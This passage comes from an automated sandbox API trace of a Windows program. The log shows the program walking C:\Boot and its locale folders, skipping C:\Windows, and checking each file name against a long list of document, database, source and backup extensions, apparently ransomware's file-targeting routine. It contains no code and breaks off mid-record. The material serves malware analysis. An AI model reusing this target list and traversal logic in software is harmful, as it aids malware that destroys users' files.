hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a506e0 | out: hHeap=0x6c0000) returned 1 [0042.904] FindNextFileW (in: hFindFile=0x7b3210, lpFindFileData=0x364fd00 | out: lpFindFileData=0x364fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0042.904] lstrlenW (lpString="C:\\Boot") returned 7 [0042.904] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0042.904] lstrlenW (lpString="Boot") returned 4 [0042.904] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0042.904] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a506e0 [0042.904] lstrlenW (lpString="C:\\Boot") returned 7 [0042.904] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b4258 [0042.906] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.906] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0042.906] lstrlenW (lpString="BCD") returned 3 [0042.906] lstrlenW (lpString=".1cd") returned 4 [0042.906] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0042.906] lstrlenW (lpString=".3ds") returned 4 [0042.906] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0042.906] lstrlenW (lpString=".3fr") returned 4 [0042.906] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0042.906] lstrlenW (lpString=".3g2") returned 4 [0042.906] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0042.906] lstrlenW (lpString=".3gp") returned 4 [0042.906] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0042.906] lstrlenW (lpString=".7z") returned 3 [0042.906] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0042.906] lstrlenW (lpString=".accda") returned 6 [0042.906] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0042.906] lstrlenW (lpString=".accdb") returned 6 [0042.906] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0042.906] lstrlenW (lpString=".accdc") returned 6 [0042.906] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0042.906] lstrlenW (lpString=".accde") returned 6 [0042.906] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0042.906] lstrlenW (lpString=".accdt") returned 6 [0042.906] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0042.906] lstrlenW (lpString=".accdw") returned 6 [0042.906] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0042.906] lstrlenW (lpString=".adb") returned 4 [0042.906] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0042.906] lstrlenW (lpString=".adp") returned 4 [0042.906] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".ai") returned 3 [0042.907] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0042.907] lstrlenW (lpString=".ai3") returned 4 [0042.907] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".ai4") returned 4 [0042.907] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".ai5") returned 4 [0042.907] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".ai6") returned 4 [0042.907] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".ai7") returned 4 [0042.907] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".ai8") returned 4 [0042.907] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".anim") returned 5 [0042.907] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".arw") returned 4 [0042.907] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".as") returned 3 [0042.907] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0042.907] lstrlenW (lpString=".asa") returned 4 [0042.907] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".asc") returned 4 [0042.907] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".ascx") returned 5 [0042.907] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".asm") returned 4 [0042.907] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".asmx") returned 5 [0042.907] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".asp") returned 4 [0042.907] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".aspx") returned 5 [0042.907] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0042.907] lstrlenW (lpString=".asr") returned 4 [0042.908] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".asx") returned 4 [0042.908] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".avi") returned 4 [0042.908] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".avs") returned 4 [0042.908] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".backup") returned 7 [0042.908] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".bak") returned 4 [0042.908] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".bay") returned 4 [0042.908] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".bd") returned 3 [0042.908] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0042.908] lstrlenW (lpString=".bin") returned 4 [0042.908] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".bmp") returned 4 [0042.908] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".bz2") returned 4 [0042.908] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".c") returned 2 [0042.908] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0042.908] lstrlenW (lpString=".cdr") returned 4 [0042.908] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".cer") returned 4 [0042.908] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".cf") returned 3 [0042.908] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0042.908] lstrlenW (lpString=".cfc") returned 4 [0042.908] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".cfm") returned 4 [0042.908] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".cfml") returned 5 [0042.908] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0042.908] lstrlenW (lpString=".cfu") returned 4 [0042.908] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".chm") returned 4 [0042.909] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".cin") returned 4 [0042.909] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".class") returned 6 [0042.909] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".clx") returned 4 [0042.909] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".config") returned 7 [0042.909] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".cpp") returned 4 [0042.909] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".cr2") returned 4 [0042.909] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".crt") returned 4 [0042.909] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".crw") returned 4 [0042.909] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".cs") returned 3 [0042.909] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0042.909] lstrlenW (lpString=".css") returned 4 [0042.909] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".csv") returned 4 [0042.909] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".cub") returned 4 [0042.909] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".dae") returned 4 [0042.909] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".dat") returned 4 [0042.909] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".db") returned 3 [0042.909] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0042.909] lstrlenW (lpString=".dbf") returned 4 [0042.909] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0042.909] lstrlenW (lpString=".dbx") returned 4 [0042.909] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dc3") returned 4 [0042.910] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dcm") returned 4 [0042.910] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dcr") returned 4 [0042.910] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".der") returned 4 [0042.910] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dib") returned 4 [0042.910] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dic") returned 4 [0042.910] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dif") returned 4 [0042.910] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".divx") returned 5 [0042.910] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".djvu") returned 5 [0042.910] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dng") returned 4 [0042.910] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".doc") returned 4 [0042.910] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".docm") returned 5 [0042.910] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".docx") returned 5 [0042.910] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dot") returned 4 [0042.910] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dotm") returned 5 [0042.910] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dotx") returned 5 [0042.910] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dpx") returned 4 [0042.910] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dqy") returned 4 [0042.910] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0042.910] lstrlenW (lpString=".dsn") returned 4 [0042.911] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".dt") returned 3 [0042.911] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0042.911] lstrlenW (lpString=".dtd") returned 4 [0042.911] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".dwg") returned 4 [0042.911] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".dwt") returned 4 [0042.911] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".dx") returned 3 [0042.911] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0042.911] lstrlenW (lpString=".dxf") returned 4 [0042.911] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".edml") returned 5 [0042.911] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".efd") returned 4 [0042.911] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".elf") returned 4 [0042.911] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".emf") returned 4 [0042.911] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".emz") returned 4 [0042.911] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".epf") returned 4 [0042.911] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".eps") returned 4 [0042.911] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".epsf") returned 5 [0042.911] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".epsp") returned 5 [0042.911] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".erf") returned 4 [0042.911] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".exr") returned 4 [0042.911] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0042.911] lstrlenW (lpString=".f4v") returned 4 [0042.912] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0042.912] lstrlenW (lpString=".fido") returned 5 [0042.912] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0042.912] lstrlenW (lpString=".flm") returned 4 [0042.912] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0042.912] lstrlenW (lpString=".flv") returned 4 [0042.912] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0042.912] lstrlenW (lpString=".frm") returned 4 [0042.912] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0042.912] lstrlenW (lpString=".fxg") returned 4 [0042.912] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0042.912] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.912] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b52a0 [0042.912] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.912] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.913] FindClose (in: hFindFile=0x7b52a0 | out: hFindFile=0x7b52a0) returned 1 [0042.913] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.913] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0042.913] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.913] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b52a0 [0042.914] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.914] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.914] FindClose (in: hFindFile=0x7b52a0 | out: hFindFile=0x7b52a0) returned 1 [0042.914] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.914] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0042.914] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.914] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b52a0 [0042.915] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.915] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.915] FindClose (in: hFindFile=0x7b52a0 | out: hFindFile=0x7b52a0) returned 1 [0042.915] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.915] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0042.915] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.915] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b52a0 [0042.916] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.916] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.916] FindClose (in: hFindFile=0x7b52a0 | out: hFindFile=0x7b52a0) returned 1 [0042.916] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.916] FindNextFileW (in: hFindFile=0x7b4258, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0042.916] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.916] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b52a0 [0042.917] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.917] FindNextFileW (in: hFindFile=0x7b52a0, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, 